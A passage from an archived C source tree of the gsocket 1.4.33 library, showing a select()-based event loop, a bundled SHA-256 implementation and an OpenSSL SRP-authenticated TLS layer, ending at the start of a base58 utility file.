ctx->rdata_pending[fd] = len;
}
static void
call_item(GS_SELECT_CTX *ctx, struct _gs_sel_item *item, int fd)
{
// int ret;
(*item->func)(ctx, fd, item->cb_arg, item->cb_val);
// DEBUGF("cb-func ret = %d (fd %d)\n", ret, fd);
/* 1. Think carefully: STDIN (fd=0) may have succesfully
* 1024 bytes but GS_write (fd=3) failed (WANT-WRITE).
* - Do not set fd=0 to WANT-WRITE. Instead the GS_write()
* should set that flag on itself (fd=3).
*
* 2. Think carefully: Not all GS_read/GS_write functions
* are called by callbacks: Reading from STDIN calls
* GS_write() regardless if GS_write() would block or not.
*/
}
/*
* Return 0 on timeout.
* Return -1 on fatal error. Errno is set.
*/
int
GS_select(GS_SELECT_CTX *ctx)
{
int n;
struct timeval tv;
// int ret;
int i;
while (1)
{
int max_fd = ctx->max_fd;
/* Before calling select() to check if there is new data on I/O:
* - Check if there is already data in the user-land (such as from
* SSL_pending() before checking I/O [kernel].
*/
for (i = 0; i <= max_fd; i++)
{
if (ctx->rdata_pending_count <= 0)
break;
/* Continue if there is no pending data in the input read buffer */
if (ctx->rdata_pending[i] == 0)
continue;
/* Continue if the app does not want us to submit read data */
if (!FD_ISSET(i, ctx->rfd))
continue;
/* HERE: Call to GS_read() needed because there is still
* data in the input buffer (not i/o buffer).
*/
DEBUGF_Y("fd=%d Pending data in SSL read input buffer (len=%d):>\n", i, ctx->rdata_pending[i]);
ctx->rdata_pending_count--;
call_item(ctx, &ctx->mgr_r[i], i);
}
/* Do it again if there are still items that
* have data in their input buffer...
*/
if (ctx->rdata_pending_count > 0)
continue;
memcpy(ctx->r, ctx->rfd, sizeof *ctx->r);
memcpy(ctx->w, ctx->wfd, sizeof *ctx->w);
uint64_t wait;
wait = GS_EVENT_execute(&ctx->emgr);
gettimeofday(ctx->tv_now, NULL);
GS_USEC_TO_TV(&tv, wait);
gs_fds_out_rwfd(ctx);
n = select(max_fd + 1, ctx->r, ctx->w, NULL, &tv);
// DEBUGF_B("max-fd = %d, *************** select = %d\n", max_fd, n);
if (n < 0)
{
if (errno == EINTR)
continue;
return -1;
}
gettimeofday(ctx->tv_now, NULL);
// gs_fds_out(ctx->r, max_fd, 'r');
// gs_fds_out(ctx->w, max_fd, 'w');
// int wants = 0;
for (i = 0; i <= max_fd; i++)
{
/* 'n' is not reliable as a listening gsocket might handle more than 1 fd
* if more than 1 are readable. Only 1 listen-callback will be called
* but the callback may serve more than 1 fd.
*/
if (n <= 0)
break;
struct _gs_sel_item *item = NULL;
char c;
/* Must check r and rfd in case app deselected rfd to stop reading */
if (FD_ISSET(i, ctx->r) && FD_ISSET(i, ctx->rfd))
{
// DEBUGF_B("I/O == READ (fd = %d)\n", i);
/* GS_CALLREAD or GS_CALLDEFAULT */
/* Find out if read-i/o was required because GS_write() set
* WANT_READ.
*/
item = &ctx->mgr_r[i];
c = 'r';
if (ctx->want_io_read[i])
{
if (ctx->blocking_func[i] & GS_CALLWRITE)
{
item = &ctx->mgr_w[i];
c = 'W';
}
}
// DEBUGF_B("CTX-R: %c fd=%d\n", c, i);
XASSERT(item->func != NULL, "%c fd = %d has no function to call\n", c, i);
call_item(ctx, item, i);
n--;
}
if (FD_ISSET(i, ctx->w) && FD_ISSET(i, ctx->wfd))
{
// DEBUGF_B("I/O == WRITE (fd = %d)\n", i);
item = &ctx->mgr_w[i];
c = 'w';
if (ctx->want_io_write[i])
{
if (ctx->blocking_func[i] & GS_CALLREAD)
{
item = &ctx->mgr_r[i];
c = 'R';
}
}
// DEBUGF_B("call_item: %c fd=%d\n", c, i);
XASSERT(item->func != NULL, "%c fd = %d has no function to call\n", c, i);
call_item(ctx, item, i);
n--;
} /* FD_ISSET(i, ctx->w) */
} /* for () */
/* Time to return control to caller? */
if (ctx->emgr.is_return_to_caller)
{
ctx->emgr.is_return_to_caller = 0;
return 0;
}
// if (((ctx->hb_freq > 0) && GS_TV_TO_USEC(ctx->tv_now) > ctx->hb_next))
// {
// return 0;
// }
} /* while (1) */
ERREXIT("NOT REACHED\n");
return -1;
}
void
GS_SELECT_del_cb(GS_SELECT_CTX *ctx, int fd)
{
int new_max_fd = 0;
DEBUGF_B("Removing CB for fd = %d\n", fd);
ctx->mgr_r[fd].func = NULL;
ctx->mgr_w[fd].func = NULL;
ctx->mgr_r[fd].cb_arg = NULL;
ctx->mgr_w[fd].cb_arg = NULL;
ctx->mgr_w[fd].cb_val = 0;
ctx->mgr_r[fd].cb_val = 0;
FD_CLR(fd, ctx->rfd);
FD_CLR(fd, ctx->wfd);
FD_CLR(fd, ctx->r);
FD_CLR(fd, ctx->w);
ctx->blocking_func[fd] = 0;
/* Calcualte new max-fd */
int i;
#ifdef DEBUG
char buf[FD_SETSIZE + 1];
memset(buf, '-', sizeof buf);
buf[ctx->max_fd + 1] = '\0';
int c;
int tracking = 0;
#endif
for (i = 0; i <= ctx->max_fd; i++)
{
if ((ctx->mgr_r[i].func == NULL) && (ctx->mgr_w[i].func == NULL))
{
continue;
}
#ifdef DEBUG
tracking += 1;
c = 0;
if (ctx->mgr_r[i].func != NULL)
c = 1;
if (ctx->mgr_w[i].func != NULL)
c += 2;
if (c == 1)
buf[i] = 'r'; // should not happen
if (c == 2)
buf[i] = 'w'; // should not happen.
if (c == 3)
buf[i] = 'X'; // both callback functions set (normal case).
#endif
new_max_fd = i;
}
#ifdef DEBUG
buf[fd] = '*'; // This one being removed
// xfprintf(gs_errfp, "%s (CB funcs, tracking=%d, max=%d)\n", buf, tracking, ctx->max_fd);
#endif
DEBUGF("Setting MAX-FD to %d\n", new_max_fd);
ctx->max_fd = new_max_fd;
}
void
GS_SELECT_add_cb_r(GS_SELECT_CTX *ctx, gselect_cb_t func, int fd, void *arg, int val)
{
DEBUGF_B("Adding CB-r for fd = %d\n", fd);
ctx->mgr_r[fd].func = (void *)func;
ctx->mgr_r[fd].cb_arg = arg;
ctx->mgr_r[fd].cb_val = val;
ctx->max_fd = MAX(ctx->max_fd, fd);
ctx->blocking_func[fd] = 0;
}
void
GS_SELECT_add_cb_w(GS_SELECT_CTX *ctx, gselect_cb_t func, int fd, void *arg, int val)
{
DEBUGF_B("Adding CB-w for fd = %d\n", fd);
ctx->mgr_w[fd].func = (void *)func;
ctx->mgr_w[fd].cb_arg = arg;
ctx->mgr_w[fd].cb_val = val;
ctx->max_fd = MAX(ctx->max_fd, fd);
ctx->blocking_func[fd] = 0;
}
void
GS_SELECT_add_cb(GS_SELECT_CTX *ctx, gselect_cb_t func_r, gselect_cb_t func_w, int fd, void *arg, int val)
{
GS_SELECT_add_cb_r(ctx, func_r, fd, arg, val);
GS_SELECT_add_cb_w(ctx, func_w, fd, arg, val);
}
gsocket-1.4.33/lib/gsocket-sha256.c 0000664 0000000 0000000 00000014007 14072625040 0016622 0 ustar 00root root 0000000 0000000
#ifndef HAVE_LIBCRYPTO
/* Compiled WITHOUT OpenSSL */
/*********************************************************************
* Filename: sha256.c
* Author: Brad Conte (brad AT bradconte.com)
* Copyright:
* Disclaimer: This code is presented "as is" without any guarantees.
* Details: Implementation of the SHA-256 hashing algorithm.
SHA-256 is one of the three algorithms in the SHA2
specification. The others, SHA-384 and SHA-512, are not
offered in this implementation.
Algorithm specification can be found here:
* http://csrc.nist.gov/publications/fips/fips180-2/fips180-2withchangenotice.pdf
This implementation uses little endian byte order.
*********************************************************************/
/*************************** HEADER FILES ***************************/
#include
#include
#include
// #include "sha256.h"
/**************************** DATA TYPES ****************************/
typedef unsigned char BYTE; // 8-bit byte
typedef unsigned int WORD; // 32-bit word, change to "long" for 16-bit machines
typedef struct {
BYTE data[64];
WORD datalen;
unsigned long long bitlen;
WORD state[8];
} SHA256_CTX;
/*********************** FUNCTION DECLARATIONS **********************/
static void sha256_init(SHA256_CTX *ctx);
static void sha256_update(SHA256_CTX *ctx, const BYTE data[], size_t len);
static void sha256_final(SHA256_CTX *ctx, BYTE hash[]);
unsigned char *
GS_SHA256(const unsigned char *d, size_t n, unsigned char *md)
{
SHA256_CTX s;
sha256_init(&s);
sha256_update(&s, d, n);
sha256_final(&s, md);
return md;
}
/****************************** MACROS ******************************/
#define ROTLEFT(a,b) (((a) << (b)) | ((a) >> (32-(b))))
#define ROTRIGHT(a,b) (((a) >> (b)) | ((a) << (32-(b))))
#define CH(x,y,z) (((x) & (y)) ^ (~(x) & (z)))
#define MAJ(x,y,z) (((x) & (y)) ^ ((x) & (z)) ^ ((y) & (z)))
#define EP0(x) (ROTRIGHT(x,2) ^ ROTRIGHT(x,13) ^ ROTRIGHT(x,22))
#define EP1(x) (ROTRIGHT(x,6) ^ ROTRIGHT(x,11) ^ ROTRIGHT(x,25))
#define SIG0(x) (ROTRIGHT(x,7) ^ ROTRIGHT(x,18) ^ ((x) >> 3))
#define SIG1(x) (ROTRIGHT(x,17) ^ ROTRIGHT(x,19) ^ ((x) >> 10))
/**************************** VARIABLES *****************************/
static const WORD k[64] = {
0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,
0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,
0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,
0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,
0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,
0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,
0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,
0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2
};
/*********************** FUNCTION DEFINITIONS ***********************/
void sha256_transform(SHA256_CTX *ctx, const BYTE data[])
{
WORD a, b, c, d, e, f, g, h, i, j, t1, t2, m[64];
for (i = 0, j = 0; i < 16; ++i, j += 4)
m[i] = (data[j] << 24) | (data[j + 1] << 16) | (data[j + 2] << 8) | (data[j + 3]);
for ( ; i < 64; ++i)
m[i] = SIG1(m[i - 2]) + m[i - 7] + SIG0(m[i - 15]) + m[i - 16];
a = ctx->state[0];
b = ctx->state[1];
c = ctx->state[2];
d = ctx->state[3];
e = ctx->state[4];
f = ctx->state[5];
g = ctx->state[6];
h = ctx->state[7];
for (i = 0; i < 64; ++i) {
t1 = h + EP1(e) + CH(e,f,g) + k[i] + m[i];
t2 = EP0(a) + MAJ(a,b,c);
h = g;
g = f;
f = e;
e = d + t1;
d = c;
c = b;
b = a;
a = t1 + t2;
}
ctx->state[0] += a;
ctx->state[1] += b;
ctx->state[2] += c;
ctx->state[3] += d;
ctx->state[4] += e;
ctx->state[5] += f;
ctx->state[6] += g;
ctx->state[7] += h;
}
void sha256_init(SHA256_CTX *ctx)
{
ctx->datalen = 0;
ctx->bitlen = 0;
ctx->state[0] = 0x6a09e667;
ctx->state[1] = 0xbb67ae85;
ctx->state[2] = 0x3c6ef372;
ctx->state[3] = 0xa54ff53a;
ctx->state[4] = 0x510e527f;
ctx->state[5] = 0x9b05688c;
ctx->state[6] = 0x1f83d9ab;
ctx->state[7] = 0x5be0cd19;
}
void sha256_update(SHA256_CTX *ctx, const BYTE data[], size_t len)
{
WORD i;
for (i = 0; i < len; ++i) {
ctx->data[ctx->datalen] = data[i];
ctx->datalen++;
if (ctx->datalen == 64) {
sha256_transform(ctx, ctx->data);
ctx->bitlen += 512;
ctx->datalen = 0;
}
}
}
void sha256_final(SHA256_CTX *ctx, BYTE hash[])
{
WORD i;
i = ctx->datalen;
// Pad whatever data is left in the buffer.
if (ctx->datalen < 56) {
ctx->data[i++] = 0x80;
while (i < 56)
ctx->data[i++] = 0x00;
}
else {
ctx->data[i++] = 0x80;
while (i < 64)
ctx->data[i++] = 0x00;
sha256_transform(ctx, ctx->data);
memset(ctx->data, 0, 56);
}
// Append to the padding the total message's length in bits and transform.
ctx->bitlen += ctx->datalen * 8;
ctx->data[63] = ctx->bitlen;
ctx->data[62] = ctx->bitlen >> 8;
ctx->data[61] = ctx->bitlen >> 16;
ctx->data[60] = ctx->bitlen >> 24;
ctx->data[59] = ctx->bitlen >> 32;
ctx->data[58] = ctx->bitlen >> 40;
ctx->data[57] = ctx->bitlen >> 48;
ctx->data[56] = ctx->bitlen >> 56;
sha256_transform(ctx, ctx->data);
// Since this implementation uses little endian byte ordering and SHA uses big endian,
// reverse all the bytes when copying the final state to the output hash.
for (i = 0; i < 4; ++i) {
hash[i] = (ctx->state[0] >> (24 - i * 8)) & 0x000000ff;
hash[i + 4] = (ctx->state[1] >> (24 - i * 8)) & 0x000000ff;
hash[i + 8] = (ctx->state[2] >> (24 - i * 8)) & 0x000000ff;
hash[i + 12] = (ctx->state[3] >> (24 - i * 8)) & 0x000000ff;
hash[i + 16] = (ctx->state[4] >> (24 - i * 8)) & 0x000000ff;
hash[i + 20] = (ctx->state[5] >> (24 - i * 8)) & 0x000000ff;
hash[i + 24] = (ctx->state[6] >> (24 - i * 8)) & 0x000000ff;
hash[i + 28] = (ctx->state[7] >> (24 - i * 8)) & 0x000000ff;
}
}
#endif /* !WITH_GS_SHA256 */
gsocket-1.4.33/lib/gsocket-sha256.h 0000664 0000000 0000000 00000001523 14072625040 0016626 0 ustar 00root root 0000000 0000000 /*********************************************************************
* Filename: sha256.h
* Author: Brad Conte (brad AT bradconte.com)
* Copyright:
* Disclaimer: This code is presented "as is" without any guarantees.
* Details: Defines the API for the corresponding SHA1 implementation.
*********************************************************************/
#ifndef HAVE_LIBCRYPTO
#warning "***** No OpenSSL. Using INTERNAL SHA256. *****"
/****************************** MACROS ******************************/
#define SHA256_BLOCK_SIZE 32 // SHA256 outputs a 32 byte digest
#define SHA256_DIGEST_LENGTH 32
unsigned char *GS_SHA256(const unsigned char *d, size_t n, unsigned char *md);
#else
/* HERE: HAVE_LIBCRYPTO is set and OpenSSL is available */
# define GS_SHA256(d, n, md) SHA256(d, n, md)
#endif /* HAVE_LIBCRYPTO */
gsocket-1.4.33/lib/gsocket-ssl.c 0000664 0000000 0000000 00000031245 14072625040 0016416 0 ustar 00root root 0000000 0000000
#include "gs-common.h"
#include
#include "gsocket-engine.h"
#include "gs-externs.h"
#ifdef HAVE_LIBCRYPTO
#include
#include
#include
#include
/*
* Called by the SSL object when a SRP negotiation is requested by peer.
* ### SERVER ###
*/
static int
srp_username_cb(SSL *ssl, int *ad, void *arg)
{
SRP_user_pwd *p;
SRP_VBASE *lsrpData = (SRP_VBASE *)arg;
if (ssl == NULL)
return -1;
if (lsrpData == NULL)
return -1; // Not ready yet.
p = SRP_VBASE_get1_by_user(lsrpData, "user");
if (p == NULL)
return -1; // Bad User.
if (SSL_set_srp_server_param(ssl, p->N, p->g, p->s, p->v, NULL) != 1)
ERREXIT("SSL_set_srp_server_param() failed...\n");
SRP_user_pwd_free(p);
// DEBUGF("SUCCESS, returning SSL_ERROR_NONE\n");
return SSL_ERROR_NONE;
}
/*
* ### CLIENT ###
*/
static char *
srp_client_pwd_cb(SSL *ssl, void *arg)
{
GS *gs = (GS *)arg;
DEBUGF("Called in CLIENT only??? ssl = %p, arg = %p, pwd='%s'\n", ssl, arg, gs->srp_sec);
return OPENSSL_strdup(gs->srp_sec);
}
/*
* ### SERVER ###
*/
static void
gs_srp_setpassword(GS *gs, const char *pwd_str)
{
SRP_gN *gN;
SRP_user_pwd *p;
DEBUGF("Setting SRP password to '%s'\n", pwd_str);
if (gs->srpData != NULL)
{
DEBUGF("WARNING: srpData already initizalied\n");
return;
}
gs->srpData = SRP_VBASE_new(NULL);
XASSERT(gs->srpData != NULL, "\n");
p = (SRP_user_pwd *)OPENSSL_malloc(sizeof (SRP_user_pwd));
XASSERT(p != NULL, "\n");
gN = SRP_get_default_gN(GS_DFL_CIPHER_STRENGTH);
XASSERT(gN != NULL, "SRP_get_default_gN()\n");
char *srpCheck = SRP_check_known_gN_param(gN->g, gN->N);
XASSERT(srpCheck != NULL, "Bad Crypto SRP_check_known_gN_param() failed.\n");
BIGNUM *salt = NULL;
BIGNUM *verifier = NULL;
SRP_create_verifier_BN("user", pwd_str, &salt, &verifier, gN->N, gN->g);
p->id = "user";
p->g = gN->g;
p->N = gN->N;
p->s = salt;
p->v = verifier;
p->info = NULL;
sk_SRP_user_pwd_push(gs->srpData->users_pwd, p);
}
static void
gs_ssl_ctx_init(GS *gs, int is_server)
{
int ret;
if (gs->ssl_ctx != NULL)
{
DEBUGF("SHOULD NOT HAPPEN\n");
return; /* Already got a SSL CTX */
}
SSL_CTX *ctx = NULL;
ctx = SSL_CTX_new(SSLv23_method());
XASSERT(ctx != NULL, "SSL_CTX_new() failed.\n");
long options = 0;
options |= SSL_OP_NO_SSLv2;
options |= SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION;
options |= SSL_OP_NO_TICKET;
options |= SSL_OP_CIPHER_SERVER_PREFERENCE;
options |= SSL_OP_SINGLE_DH_USE;
SSL_CTX_set_options(ctx, options);
ret = SSL_CTX_set_cipher_list(ctx, GS_DFL_CIPHER);
XASSERT(ret == 1, "SSL_CTX_set_cipher_list()\n");
#if 1
/* AUTO_RETRY for blocking SRP is easier */
long mode;
mode = SSL_CTX_get_mode(ctx);
mode |= SSL_MODE_AUTO_RETRY; /* Let OpenSSL handle all writes internally */
SSL_CTX_set_mode(ctx, mode);
#endif
if (is_server)
{
DEBUGF("...SRP SERVER...\n");
/* SERVER */
SSL_CTX_set_srp_username_callback(ctx, srp_username_cb);
gs_srp_setpassword(gs, gs->srp_sec);
/* The user's SRP password is set per SSL_CTX. This means
* we need a new SSL_CTX for every GS connection :/
* The only time we re-use a CTX is when gsocket
* is in server mode and using SSL_accept() from
* multiple TCP connections and all using the same
* Global Socket address.
*/
ret = SSL_CTX_set_srp_cb_arg(ctx, gs->srpData);
XASSERT(ret == 1, "SSL_CTX_set_srp_cb_arg()\n");
} else {
DEBUGF("...SRP CLIENT...\n");
/* CLIENT */
SSL_CTX_set_srp_username(ctx, "user");
SSL_CTX_set_srp_cb_arg(ctx, gs);
SSL_CTX_set_srp_client_pwd_callback(ctx, srp_client_pwd_cb);
}
gs->ssl_ctx = ctx;
}
static void
gs_ssl_init(GS *gsocket)
{
SSL *ssl = gsocket->ssl;
if (ssl != NULL)
return;
ssl = SSL_new(gsocket->ssl_ctx);
gsocket->ssl = ssl;
}
const char *
GS_SSL_strerror(int err)
{
switch (err)
{
case SSL_ERROR_NONE:
return D_GRE("None");
case SSL_ERROR_ZERO_RETURN:
return "ZERO_RETURN (close-notify recv)";
case SSL_ERROR_WANT_READ:
return D_YEL("WANT_READ");
case SSL_ERROR_WANT_WRITE:
return D_YEL("WANT_WRITE");
case SSL_ERROR_WANT_CONNECT:
return "WANT CONNECT";
case SSL_ERROR_WANT_ACCEPT:
return "WANT ACCEPT";
case SSL_ERROR_WANT_X509_LOOKUP:
return "WANT X509 LOOKUP";
#ifdef SSL_ERROR_WANT_ASYNC
case SSL_ERROR_WANT_ASYNC:
return "WANT_ASYNC";
#endif
case SSL_ERROR_SYSCALL:
return D_RED("SYSCALL");
case SSL_ERROR_SSL:
return D_RED("FATAL ERROR");
}
return "unknown :/";
}
/*
* Determine if a call to SSL_* triggered WANT-READ or WANT-WRITE
* for the underlying I/O. WANT-READ does not mean that
* SSL_read() needs to be called but rather that the underlying
* tcp_fd needs to be ready for reading and that the original
* SSL_* function needs to be called - which could have been
* SSL_write() - Yes, SSL_write() might return WANT-READ
* and SSL_write() needs to be called again once the underlying
* socket has data ready for reading.
*
* Return 0 on success.
* Return -1 on fatal error.
*/
int
gs_ssl_want_io_rw(GS_SELECT_CTX *ctx, int fd, int err)
{
if (ctx == NULL)
return GS_ERR_FATAL;
char *ptr = NULL;
#ifdef DEBUG
char buf[128];
ptr = buf;
snprintf(buf, sizeof buf, "I/O SSL_%s", GS_SSL_strerror(err));
#endif
gs_select_rw_save_state(ctx, fd, ptr);
if (err == SSL_ERROR_WANT_READ)
{
XFD_SET(fd, ctx->rfd);
ctx->want_io_read[fd] = 1;
return 0;
}
if (err == SSL_ERROR_WANT_WRITE)
{
XFD_SET(fd, ctx->wfd);
ctx->want_io_write[fd] = 1;
DEBUGF_B("ctx->want_io_write[fd=%d] := %d\n", fd, ctx->want_io_write[fd]);
return 0;
}
return GS_ERR_FATAL;
}
void
gs_ssl_want_io_finished(GS *gs)
{
// DEBUGF_B("want_io_finished fd = %d\n", gs->fd);
/* Return if we do not track WANT-READ/WANT-WRITE */
if (gs->ctx->gselect_ctx == NULL)
return;
gs->ctx->gselect_ctx->want_io_read[gs->fd] = 0;
gs->ctx->gselect_ctx->want_io_write[gs->fd] = 0;
gs_select_rw_restore_state(gs->ctx->gselect_ctx, gs->fd, "X");
}
/*
* See GS_shutdown() for return values.
*/
int
gs_ssl_shutdown(GS *gsocket)
{
int ret;
int err;
gsocket->ssl_shutdown_count++;
DEBUGF_Y("%d. call to gs_ssl_shutdown\n", gsocket->ssl_shutdown_count);
if (gsocket->ssl == NULL)
{
DEBUGF_Y("*** WARNING ****: ssl == NULL\n");
return GS_ERR_FATAL;
}
/* SSL_shutdown() only closes the write direction. It is not possible
* to call SSL_write() after calling SSL_shutdown. The read directio is
* closed by the peer.
*/
ret = SSL_shutdown(gsocket->ssl);
DEBUGF_Y("SSL_shutdown() = %d (%s)\n", ret, ret==1?"COMPLETE":"waiting (stopped writing)");
/* 1 == SUCCESS (close notify received)
* 0 == Close-sent (check SSL_read() for EOF).
* Do not send any further data (but still receive data)
*/
gsocket->is_sent_shutdown = 1;
if (ret == 1)
{
/* SUCCESS (close notify received & sent) */
return GS_ERR_FATAL; /* SUCCESSFULL Shutdown. Ready to destroy connection now */
}
if (ret == 0)
{
gsocket->is_want_shutdown = 0;
/* HERE: Expecting more data (check SSL_read() */
// gsocket->ssl_wait_for_eof = 1;
return GS_SUCCESS; /* Connection open for reading only */
}
err = SSL_get_error(gsocket->ssl, ret);
DEBUGF_Y("SSL Error: %d\n", err);
ret = gs_ssl_want_io_rw(gsocket->ctx->gselect_ctx, gsocket->fd, err);
if (ret != 0)
return GS_ERR_FATAL;
gsocket->ctx->gselect_ctx->blocking_func[gsocket->fd] |= GS_CALLWRITE;
gsocket->write_pending = 1;
gsocket->is_want_shutdown = 1;
return GS_ERR_WAITING; /* Waiting for I/O */
}
static int
ssl_accept(GS *gsocket)
{
int ret;
ret = SSL_accept(gsocket->ssl);
DEBUGF("Call to SSL_accept() = %d\n", ret);
if (ret != 1)
{
gsocket->ssl_state = GS_SSL_STATE_ACCEPT;
return ret;
}
/* Check that is is a SRP connection (not x509) */
char *user = SSL_get_srp_username(gsocket->ssl);
if (user == NULL)
return -31337;
/* HERE: SSL SRP accepted and valid */
gsocket->ssl_state = GS_SSL_STATE_RW;
return 1; /* SUCCESS */
}
static int
ssl_connect(GS *gsocket)
{
int ret;
ret = SSL_connect(gsocket->ssl);
DEBUGF("SSL_connect() = %d\n", ret);
if (ret != 1)
{
gsocket->ssl_state = GS_SSL_STATE_CONNECT;
return ret;
}
gsocket->ssl_state = GS_SSL_STATE_RW;
return 1; /* SUCCESS */
}
static int
ssl_shutdown(GS *gs)
{
int ret;
ret = SSL_shutdown(gs->ssl);
DEBUGF_Y("SSL_shutdown() = %d\n", ret);
/* 0 = Not yet finished. (do not call SSL_get_error())
* 1 = complete
* <0 = would-block (WANT-WRITE or WANT-READ)
*/
if (ret < 0)
return ret; // WANT-WRITE or WANT-READ
gs->is_sent_shutdown = 1;
return 1;
}
static const char *
ssl_state_str(enum ssl_state_t state)
{
switch (state)
{
case GS_SSL_STATE_ACCEPT:
return "accept";
case GS_SSL_STATE_CONNECT:
return "connect";
case GS_SSL_STATE_RW:
return "read/write";
case GS_SSL_STATE_SHUTDOWN:
return "shutdown";
}
return "UNKNOWN";
}
/*
* Continue an interrupted state (SSL_accpet/SSL_connect)
*
* Return 0 when done (state recovered).
* Return -1 on fatal error.
* Return 1 if unknown state (and SSL_read() or SSL_write() should handle it.
*/
int
gs_ssl_continue(GS *gsocket, enum gs_rw_state_t rw_state)
{
int ret;
int state = gsocket->ssl_state;
/* FIXME: This check could be done in the calling function for speedup */
// DEBUGF("ssl-state=%d, rw_state=%d\n", state, rw_state);
if (rw_state == GS_CAN_WRITE)
{
// write wont block.
if (gsocket->is_want_shutdown == 0)
{
// Not a SSL_shutdown()
if ((state != GS_SSL_STATE_ACCEPT) && (state != GS_SSL_STATE_CONNECT) && (state != GS_SSL_STATE_SHUTDOWN))
{
// DEBUGF("ssl_continue: nothing to continue\n");
return 1; // nothing to do
}
}
} else {
if ((state != GS_SSL_STATE_ACCEPT) && (state != GS_SSL_STATE_CONNECT) && (state != GS_SSL_STATE_SHUTDOWN))
return 1;
}
/* SSL Handshake not yet complete. Complete it. */
if (state == GS_SSL_STATE_ACCEPT)
{
ret = ssl_accept(gsocket);
} else if (state == GS_SSL_STATE_CONNECT) { /* GS_SSL_STATE_CONNECT */
ret = ssl_connect(gsocket);
} else {
ret = ssl_shutdown(gsocket);
gsocket->is_want_shutdown = 0;
}
if (ret == 1)
{
DEBUGF_G("*** SUCCESS *** [SSL_%s()]\n", ssl_state_str(state));
gs_ssl_want_io_finished(gsocket);
if ((gsocket->is_want_shutdown != 0) && (state != GS_SSL_STATE_SHUTDOWN))
{
DEBUGF_Y("SHUTDOWN was requested earlier. Doing it now.\n");
GS_shutdown(gsocket);
}
/* SSL_accept()/SSL_connect() has finished. Drop into SSL_read()/SSL_write */
return 0;
}
/* From ssl_accept() if user was not found.
* No need to check SSL_get_error.
* This is fatal.
*/
if (ret == -31337)
return GS_ERR_FATAL;
/* SSL_connect()/SSL_accept() can return 1 on SUCCESS or <0 if WOULD-BLOCK */
/* A return value of 0 however means that the SSL was shut-down gracefully */
int err = SSL_get_error(gsocket->ssl, ret);
DEBUGF("SSL_ERROR SSL_%s() = SSL_%s(ret=%d, err=%d)\n", ssl_state_str(state), GS_SSL_strerror(err), ret, err);
if (ERR_peek_last_error())
DEBUGF_Y(" %s\n", ERR_error_string(ERR_peek_last_error(), NULL));
if ((err != SSL_ERROR_WANT_READ) && (err != SSL_ERROR_WANT_WRITE))
gs_set_errorf(gsocket, "SSL_%s: %s", ssl_state_str(state), GS_SSL_strerror(err));
ret = gs_ssl_want_io_rw(gsocket->ctx->gselect_ctx, gsocket->fd, err);
DEBUGF("gs_ssl_continue will return = %d (%s)\n", ret, ret<0?"FATAL":"continue");
if (ret != 0)
return GS_ERR_FATAL; /* Return a fatal error if SSL was shut-down */
return ret;
}
/*
* Initialize SSL Library if it hasnt been done so already.
* Create SSL_CTX on GS_CTX if it hasnt been done so already.
* Create SSL on GS if it hasnt been done so already.
*
* This is called at the start of GS_listen() or GS_connect().
*
* Return 0 on success.
* Return 1 if SSL_read/SSL_write is next
* Return -1 on fata error
*
*/
int
gs_srp_init(GS *gsocket)
{
gs_ssl_ctx_init(gsocket, gsocket->flags & GS_FL_IS_SERVER?1:0);
gs_ssl_init(gsocket); /* Call to SSL_new() */
DEBUGF("AFTER SSL init\n");
if (gsocket->fd < 0)
ERREXIT("can not happen, fd = %d\n", gsocket->fd);
SSL_set_fd(gsocket->ssl, gsocket->fd);
/* SRP client starts the handshake */
gsocket->ssl_state = GS_SSL_STATE_CONNECT;
if (gsocket->flags & GS_FL_IS_SERVER)
{
DEBUGF("This is SSL-SERVER (call SSL_accept()\n");
gsocket->ssl_state = GS_SSL_STATE_ACCEPT;
}
int ret;
ret = gs_ssl_continue(gsocket, GS_CAN_RW);
DEBUGF("gs_srp_init() will return %d\n", ret);
return ret;
}
void
GS_srp_setpassword(GS *gsocket, const char *pwd)
{
snprintf(gsocket->srp_sec, sizeof gsocket->srp_sec, "%s.%s.%s", "Blah", pwd, "blubb-SRPSEC");
DEBUGF("'%s'\n", gsocket->srp_sec);
}
const char *
GS_get_cipher(GS *gs)
{
if (gs->flags & GSC_FL_USE_SRP)
return GS_DFL_CIPHER"-End2End";
return "NO ENCRYPTION";
}
int
GS_get_cipher_strength(GS *gs)
{
if (gs->flags & GSC_FL_USE_SRP)
return atoi(GS_DFL_CIPHER_STRENGTH);
return 0;
}
#endif /* HAVE_LIBCRYPTO */
gsocket-1.4.33/lib/gsocket-util.c 0000664 0000000 0000000 00000032425 14072625040 0016573 0 ustar 00root root 0000000 0000000
#include "gs-common.h"
#include
#include "gsocket-engine.h"
#include "gs-externs.h"
static const char b58digits_ordered[] = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
// static const int8_t b58digits_map[] = {
// -1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1,
// -1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1,
// -1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1,
// -1, 0, 1, 2, 3, 4, 5, 6, 7, 8,-1,-1,-1,-1,-1,-1,
// -1, 9,10,11,12,13,14,15, 16,-1,17,18,19,20,21,-1,
// 22,23,24,25,26,27,28,29, 30,31,32,-1,-1,-1,-1,-1,
// -1,33,34,35,36,37,38,39, 40,41,42,43,-1,44,45,46,
// 47,48,49,50,51,52,53,54, 55,56,57,-1,-1,-1,-1,-1,
// };
#ifndef HAVE_GETLINE
static int
getline(char **lineptr, size_t *n, FILE *stream)
{
static char line[256];
char *ptr;
unsigned int len;
